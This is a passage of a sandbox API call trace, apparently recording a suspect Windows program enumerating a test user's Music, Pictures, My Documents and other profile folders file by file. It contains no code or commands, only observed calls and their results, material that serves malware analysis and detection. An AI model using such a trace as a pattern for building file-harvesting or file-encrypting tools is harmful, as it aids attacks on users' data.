ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.665] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d7b8 | out: hHeap=0x5010000) returned 1 [0111.665] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.665] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.666] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0111.666] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0111.666] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0111.666] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0111.666] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d760 | out: hHeap=0x5010000) returned 1 [0111.666] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.666] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0111.666] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.666] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.666] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.666] PathFindFileNameW (pszPath="") returned="" [0111.666] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0111.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0111.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.666] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0111.666] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.666] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0111.667] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.667] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.667] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.667] PathFindFileNameW (pszPath="") returned="" [0111.667] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9bea6a20, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9bea6a20, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.667] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d7b8 | out: hHeap=0x5010000) returned 1 [0111.667] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9bea6a20, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9bea6a20, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.667] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa922b840, ftCreationTime.dwHighDateTime=0x1d4cebe, ftLastAccessTime.dwLowDateTime=0x36678720, ftLastAccessTime.dwHighDateTime=0x1d4d253, ftLastWriteTime.dwLowDateTime=0x36678720, ftLastWriteTime.dwHighDateTime=0x1d4d253, nFileSizeHigh=0x0, nFileSizeLow=0xb25b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-uVUI.mp3", cAlternateFileName="")) returned 1 [0111.667] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb228a1f0, ftCreationTime.dwHighDateTime=0x1d4cc59, ftLastAccessTime.dwLowDateTime=0xdc4aeb30, ftLastAccessTime.dwHighDateTime=0x1d4d3d1, ftLastWriteTime.dwLowDateTime=0xdc4aeb30, ftLastWriteTime.dwHighDateTime=0x1d4d3d1, nFileSizeHigh=0x0, nFileSizeLow=0x5373, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1JKoALnkX5.m4a", cAlternateFileName="1JKOAL~1.M4A")) returned 1 [0111.667] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16d9f5c0, ftCreationTime.dwHighDateTime=0x1d4c685, ftLastAccessTime.dwLowDateTime=0x6edce20, ftLastAccessTime.dwHighDateTime=0x1d4cf6d, ftLastWriteTime.dwLowDateTime=0x6edce20, ftLastWriteTime.dwHighDateTime=0x1d4cf6d, nFileSizeHigh=0x0, nFileSizeLow=0x18dba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4lkpxUARpwW-C.m4a", cAlternateFileName="4LKPXU~1.M4A")) returned 1 [0111.667] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6b4740, ftCreationTime.dwHighDateTime=0x1d4c9ea, ftLastAccessTime.dwLowDateTime=0x1ff30130, ftLastAccessTime.dwHighDateTime=0x1d4c6b0, ftLastWriteTime.dwLowDateTime=0x1ff30130, ftLastWriteTime.dwHighDateTime=0x1d4c6b0, nFileSizeHigh=0x0, nFileSizeLow=0x16482, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4suXJ1A8AJzQb.m4a", cAlternateFileName="4SUXJ1~1.M4A")) returned 1 [0111.667] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd49313a0, ftCreationTime.dwHighDateTime=0x1d4cce6, ftLastAccessTime.dwLowDateTime=0x94988270, ftLastAccessTime.dwHighDateTime=0x1d4d4bc, ftLastWriteTime.dwLowDateTime=0x94988270, ftLastWriteTime.dwHighDateTime=0x1d4d4bc, nFileSizeHigh=0x0, nFileSizeLow=0x7ef9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4Z1gbj.wav", cAlternateFileName="")) returned 1 [0111.667] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.667] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8fdbdf0, ftCreationTime.dwHighDateTime=0x1d4d25c, ftLastAccessTime.dwLowDateTime=0xb33d05e0, ftLastAccessTime.dwHighDateTime=0x1d4d140, ftLastWriteTime.dwLowDateTime=0xb33d05e0, ftLastWriteTime.dwHighDateTime=0x1d4d140, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dQ7tGsp53IT a50pD3", cAlternateFileName="DQ7TGS~1")) returned 1 [0111.667] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb19a1040, ftCreationTime.dwHighDateTime=0x1d4d59e, ftLastAccessTime.dwLowDateTime=0xfcbfe10, ftLastAccessTime.dwHighDateTime=0x1d4ced5, ftLastWriteTime.dwLowDateTime=0xfcbfe10, ftLastWriteTime.dwHighDateTime=0x1d4ced5, nFileSizeHigh=0x0, nFileSizeLow=0x16dd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jy7QJY5ZDe.wav", cAlternateFileName="JY7QJY~1.WAV")) returned 1 [0111.667] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x738b2db0, ftCreationTime.dwHighDateTime=0x1d4c8d4, ftLastAccessTime.dwLowDateTime=0x23961190, ftLastAccessTime.dwHighDateTime=0x1d4d332, ftLastWriteTime.dwLowDateTime=0x23961190, ftLastWriteTime.dwHighDateTime=0x1d4d332, nFileSizeHigh=0x0, nFileSizeLow=0xfab0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rcxwv.wav", cAlternateFileName="")) returned 1 [0111.667] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc2813c0, ftCreationTime.dwHighDateTime=0x1d4c595, ftLastAccessTime.dwLowDateTime=0x5c7ce050, ftLastAccessTime.dwHighDateTime=0x1d4d34c, ftLastWriteTime.dwLowDateTime=0x5c7ce050, ftLastWriteTime.dwHighDateTime=0x1d4d34c, nFileSizeHigh=0x0, nFileSizeLow=0x6726, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RLO yJMHv0L.mp3", cAlternateFileName="RLOYJM~1.MP3")) returned 1 [0111.667] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ffb530, ftCreationTime.dwHighDateTime=0x1d4c9a4, ftLastAccessTime.dwLowDateTime=0xbaf13730, ftLastAccessTime.dwHighDateTime=0x1d4d289, ftLastWriteTime.dwLowDateTime=0xbaf13730, ftLastWriteTime.dwHighDateTime=0x1d4d289, nFileSizeHigh=0x0, nFileSizeLow=0x6a78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RrxvmDKYTi0rBAg7jbyD.m4a", cAlternateFileName="RRXVMD~1.M4A")) returned 1 [0111.667] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf63b9900, ftCreationTime.dwHighDateTime=0x1d4c94e, ftLastAccessTime.dwLowDateTime=0x81e58820, ftLastAccessTime.dwHighDateTime=0x1d4cf4a, ftLastWriteTime.dwLowDateTime=0x81e58820, ftLastWriteTime.dwHighDateTime=0x1d4cf4a, nFileSizeHigh=0x0, nFileSizeLow=0x1404a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rt7LMOP_q.m4a", cAlternateFileName="RT7LMO~1.M4A")) returned 1 [0111.667] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87707d0, ftCreationTime.dwHighDateTime=0x1d4d575, ftLastAccessTime.dwLowDateTime=0x6f4f5f80, ftLastAccessTime.dwHighDateTime=0x1d4c926, ftLastWriteTime.dwLowDateTime=0x6f4f5f80, ftLastWriteTime.dwHighDateTime=0x1d4c926, nFileSizeHigh=0x0, nFileSizeLow=0xce43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UK6oB.m4a", cAlternateFileName="")) returned 1 [0111.667] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875d3000, ftCreationTime.dwHighDateTime=0x1d4cdab, ftLastAccessTime.dwLowDateTime=0x4d85a300, ftLastAccessTime.dwHighDateTime=0x1d4cfde, ftLastWriteTime.dwLowDateTime=0x4d85a300, ftLastWriteTime.dwHighDateTime=0x1d4cfde, nFileSizeHigh=0x0, nFileSizeLow=0x129a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xcrmc4FZ.m4a", cAlternateFileName="")) returned 1 [0111.667] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20cead50, ftCreationTime.dwHighDateTime=0x1d4cd15, ftLastAccessTime.dwLowDateTime=0x7d1a6380, ftLastAccessTime.dwHighDateTime=0x1d4d484, ftLastWriteTime.dwLowDateTime=0x7d1a6380, ftLastWriteTime.dwHighDateTime=0x1d4d484, nFileSizeHigh=0x0, nFileSizeLow=0x86de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y-NLxTIvwMCOP.m4a", cAlternateFileName="Y-NLXT~1.M4A")) returned 1 [0111.667] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20cead50, ftCreationTime.dwHighDateTime=0x1d4cd15, ftLastAccessTime.dwLowDateTime=0x7d1a6380, ftLastAccessTime.dwHighDateTime=0x1d4d484, ftLastWriteTime.dwLowDateTime=0x7d1a6380, ftLastWriteTime.dwHighDateTime=0x1d4d484, nFileSizeHigh=0x0, nFileSizeLow=0x86de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y-NLxTIvwMCOP.m4a", cAlternateFileName="Y-NLXT~1.M4A")) returned 0 [0111.667] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d760 | out: hHeap=0x5010000) returned 1 [0111.668] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.668] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0111.668] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.668] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.668] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.668] PathFindFileNameW (pszPath="") returned="" [0111.668] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20cead50, ftCreationTime.dwHighDateTime=0x1d4cd15, ftLastAccessTime.dwLowDateTime=0x7d1a6380, ftLastAccessTime.dwHighDateTime=0x1d4d484, ftLastWriteTime.dwLowDateTime=0x7d1a6380, ftLastWriteTime.dwHighDateTime=0x1d4d484, nFileSizeHigh=0x0, nFileSizeLow=0x86de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y-NLxTIvwMCOP.m4a", cAlternateFileName="Y-NLXT~1.M4A")) returned 0xffffffff [0111.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0111.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.668] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0111.668] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.668] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0111.668] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.669] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.669] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.669] PathFindFileNameW (pszPath="") returned="" [0111.669] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20cead50, ftCreationTime.dwHighDateTime=0x1d4cd15, ftLastAccessTime.dwLowDateTime=0x7d1a6380, ftLastAccessTime.dwHighDateTime=0x1d4d484, ftLastWriteTime.dwLowDateTime=0x7d1a6380, ftLastWriteTime.dwHighDateTime=0x1d4d484, nFileSizeHigh=0x0, nFileSizeLow=0x86de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y-NLxTIvwMCOP.m4a", cAlternateFileName="Y-NLXT~1.M4A")) returned 0xffffffff [0111.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d7b8 | out: hHeap=0x5010000) returned 1 [0111.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d760 | out: hHeap=0x5010000) returned 1 [0111.669] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.669] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0111.669] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.669] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.669] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.669] PathFindFileNameW (pszPath="") returned="" [0111.669] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c1c6700, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c1c6700, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.669] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0111.669] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c1c6700, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c1c6700, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.669] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x167ebd30, ftCreationTime.dwHighDateTime=0x1d4c613, ftLastAccessTime.dwLowDateTime=0x6d6ab8f0, ftLastAccessTime.dwHighDateTime=0x1d4c7d1, ftLastWriteTime.dwLowDateTime=0x6d6ab8f0, ftLastWriteTime.dwHighDateTime=0x1d4c7d1, nFileSizeHigh=0x0, nFileSizeLow=0x11310, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AmzvjcI0hTMGaxNNz.jpg", cAlternateFileName="AMZVJC~1.JPG")) returned 1 [0111.669] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.669] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c38d350, ftCreationTime.dwHighDateTime=0x1d4c6bf, ftLastAccessTime.dwLowDateTime=0x2dc34680, ftLastAccessTime.dwHighDateTime=0x1d4d178, ftLastWriteTime.dwLowDateTime=0x2dc34680, ftLastWriteTime.dwHighDateTime=0x1d4d178, nFileSizeHigh=0x0, nFileSizeLow=0x146a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fnUjM6bZhIti0vgC fCV.png", cAlternateFileName="FNUJM6~1.PNG")) returned 1 [0111.670] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a1ec260, ftCreationTime.dwHighDateTime=0x1d4c5fb, ftLastAccessTime.dwLowDateTime=0xd86fcc60, ftLastAccessTime.dwHighDateTime=0x1d4ce09, ftLastWriteTime.dwLowDateTime=0xd86fcc60, ftLastWriteTime.dwHighDateTime=0x1d4ce09, nFileSizeHigh=0x0, nFileSizeLow=0xeb5a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hoFR8_x Tu2XGiHDqM.gif", cAlternateFileName="HOFR8_~1.GIF")) returned 1 [0111.670] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb6edd0, ftCreationTime.dwHighDateTime=0x1d4d4fe, ftLastAccessTime.dwLowDateTime=0xcb466a50, ftLastAccessTime.dwHighDateTime=0x1d4cf06, ftLastWriteTime.dwLowDateTime=0xcb466a50, ftLastWriteTime.dwHighDateTime=0x1d4cf06, nFileSizeHigh=0x0, nFileSizeLow=0x14a99, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mcLNkatVL.bmp", cAlternateFileName="MCLNKA~1.BMP")) returned 1 [0111.670] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9535880, 